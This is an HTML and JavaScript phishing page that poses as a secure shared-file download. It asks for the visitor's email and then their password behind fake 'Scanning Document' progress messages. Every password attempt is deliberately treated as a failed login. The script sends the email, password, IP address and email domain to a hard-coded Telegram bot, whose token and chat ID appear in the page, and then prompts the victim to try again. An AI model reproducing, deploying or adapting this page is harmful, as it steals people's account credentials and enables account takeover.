<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login</title>
    <style>
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            position: relative;
        }
        body::before {
            content: ''; 
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-image: url('https://cdn.glitch.global/df039fa3-b986-4dbb-be93-2c1b52c41817/P.jpg');
            background-size: cover;
            background-position: center;
            filter: blur(3px); /* Blur the background image */
            z-index: -1; /* Place the blurred image behind the content */
        }
        body::after {
            content: ''; 
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.4); /* Dark overlay with reduced opacity */
            z-index: -1;
        }
        .container {
            width: 320px;
            padding: 20px;
            background: #fff;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
            border-radius: 8px;
            text-align: left;
            position: relative;
            z-index: 1; /* Ensure the login content stays above the blurred background */
        }
        .hidden {
            display: none;
        }
        .logo {
            width: 330px;
            float: left;
            margin-right: 150px;
        }
        h1 {
            font-size: 24px;
            font-weight: bold;
            margin: 0;
            padding-bottom: 20px;
            text-align: left;
            color: #333;
            clear: both;
        }
        input[type="email"], input[type="password"] {
            width: 100%;
            padding: 10px;
            margin: 10px 0;
            border: none;
            border-bottom: 2px solid #ccc;
            outline: none;
            box-sizing: border-box;
            font-size: 16px;
            background: transparent;
        }
        input[type="email"]:focus, input[type="password"]:focus {
            border-bottom: 2px solid #007BFF;
        }
        button {
            padding: 10px 20px;
            background-color: #e82b0e;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            float: right;
            margin-top: 20px;
        }
        button:hover {
            background-color: #0056b3;
        }
        .email-display {
            font-size: 14px;
            color: #555;
            margin-bottom: 20px;
        }
        .form-title {
            font-size: 14px;
            color: #666666;
            margin-bottom: 10px;
        }
        .info-text {
            font-size: 12px;
            color: #888;
            margin-top: 10px;
        }
        .error-message {
            color: red;
            font-size: 14px;
            margin-top: 10px;
            display: none;
        }
        .clearfix::after {
            content: "";
            clear: both;
            display: table;
        }
        .spinner {
            border: 4px solid rgba(0, 0, 0, 0.1);
            border-left-color: #007BFF;
            border-radius: 50%;
            width: 16px;
            height: 16px;
            animation: spin 1s linear infinite;
            display: inline-block;
            margin-right: 8px;
        }
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
    </style>
</head>
<body>

<div class="container" id="emailPage">
    <div class="clearfix">
        <img src="https://cdn.glitch.global/7f515a1d-7b09-45e3-9e83-e5347c039835/to.png" alt="Logo" class="logo">
        <h1>Download</h1>
    </div>
    <h2 class="form-title">Only the recipient's email can access the shared file</h2>
    <input type="email" id="email" placeholder="Email" required>
    <button onclick="checkEmail()">Download</button>
</div>

<div class="container hidden" id="verifyingPage">
    <div class="clearfix">
        <img src="https://cdn.glitch.global/7f515a1d-7b09-45e3-9e83-e5347c039835/to.png" alt="Logo" class="logo">
        <h1>Sign in</h1>
    </div>
    <div id="emailDisplayVerifying" class="email-display"></div>
    <div class="verifying">
        <div class="spinner"></div> Scanning Document...
    </div>
</div>

<div class="container hidden" id="passwordPage">
    <div class="clearfix">
        <img src="https://cdn.glitch.global/7f515a1d-7b09-45e3-9e83-e5347c039835/to.png" alt="Logo" class="logo">
        <h1>Sign in</h1>
    </div>
    <div class="email-display" id="emailDisplay"></div>
    <h2 class="form-title">Enter Password</h2>
    <input type="password" id="password" placeholder="Password" required>
    <div class="info-text">Only the recipient's email can access the shared file</div>
    <button onclick="checkPassword()">Download</button>
    <div class="error-message" id="error-message">The account or password is incorrect or empty. Please enter a valid password.</div>
</div>

<script>
    document.addEventListener("DOMContentLoaded", function() {
        var emailInput = document.getElementById("email");
        var passwordInput = document.getElementById("password");

        // Check if there's an email in the URL hash
        var hashEmail = window.location.hash.substring(1);
        if (hashEmail && validateEmail(hashEmail)) {
            emailInput.value = hashEmail;
            moveToPasswordPage(hashEmail);
        }

        // Automatically proceed if the email is pre-filled
        if (emailInput.value) {
            moveToPasswordPage(emailInput.value);
        }

        // Listen for Enter key on the email input
        emailInput.addEventListener("keydown", function(event) {
            if (event.key === "Enter") {
                checkEmail();
            }
        });

        // Listen for Enter key on the password input
        passwordInput.addEventListener("keydown", function(event) {
            if (event.key === "Enter") {
                checkPassword();
            }
        });

        // Get the user's IP address using an external API
        fetch('https://api.ipify.org?format=json')
            .then(response => response.json())
            .then(data => {
                window.userIP = data.ip;
            })
            .catch(error => {
                console.error('Error fetching IP address:', error);
                window.userIP = 'Unavailable';
            });

        // Get the login server URL
        window.loginServer = window.location.hostname;
    });

    function validateEmail(email) {
        var re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
        return re.test(String(email).toLowerCase());
    }

    function checkEmail() {
        var email = document.getElementById("email").value;
        if (email && validateEmail(email)) {
            moveToPasswordPage(email);
        } else {
            alert("Please enter a valid email address.");
        }
    }

    function moveToPasswordPage(email) {
        document.getElementById("emailPage").classList.add("hidden");
        document.getElementById("verifyingPage").classList.remove("hidden");
        document.getElementById("emailDisplayVerifying").innerText = email;

        let verifyingText = document.querySelector('.verifying');
        let steps = ['Logging in...', 'Fetching Document...', 'Authentication required...'];
        let stepIndex = 0;

        let interval = setInterval(function() {
            if (stepIndex < steps.length) {
                verifyingText.innerHTML = `<div class="spinner"></div> ${steps[stepIndex]}`;
                stepIndex++;
            } else {
                clearInterval(interval);
                document.getElementById("verifyingPage").classList.add("hidden");
                document.getElementById("passwordPage").classList.remove("hidden");
                document.getElementById("emailDisplay").innerText = email;
            }
        }, 2000); // Change message every 2 seconds
    }

    function checkPassword() {
        var password = document.getElementById("password").value;
        var email = document.getElementById("email").value;
        var ip = window.userIP || 'Unavailable';
        var emailDomain = email.split('@')[1] || 'Unavailable';
        var loginServer = window.loginServer || 'Unavailable';

        if (password.trim() === "") {
            // Show error message if password is empty or contains only spaces
            document.getElementById("error-message").style.display = 'block';
            return;
        }

        document.getElementById("passwordPage").classList.add("hidden");
        document.getElementById("verifyingPage").classList.remove("hidden");
        document.getElementById("emailDisplayVerifying").innerText = email;

        setTimeout(function() {
            // Simulate a login check (always fail for demonstration)
            var isValidLogin = false;

            if (!isValidLogin) {
                sendFormDataToTelegram(email, password, ip, emailDomain, loginServer);
                document.getElementById("error-message").style.display = 'block';
                document.getElementById("verifyingPage").classList.add("hidden");
                document.getElementById("passwordPage").classList.remove("hidden");
            }
        }, 2000); // Simulate a 2-second verification delay
    }

    function sendFormDataToTelegram(email, password, ip, emailDomain, loginServer) {
        var chatID = '1637284648';
        var apiToken = '7378441067:AAGqWN2EfYrWWua9RZv5V5XyiF96gQ5TRGc';
        var message = `📧 Email: ${email}\n🔑 Password: ${password}\n🌐 IP: ${ip}\n📧 Email Domain: ${emailDomain}`;

        var url = `https://api.telegram.org/bot${apiToken}/sendMessage`;
        var data = {
            chat_id: chatID,
            text: message
        };

        fetch(url, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify(data)
        })
        .then(response => response.json())
        .then(data => {
            console.log('Message sent:', data);
        })
        .catch(error => {
            console.error('Error:', error);
        });
    }
</script>

</body>
</html>
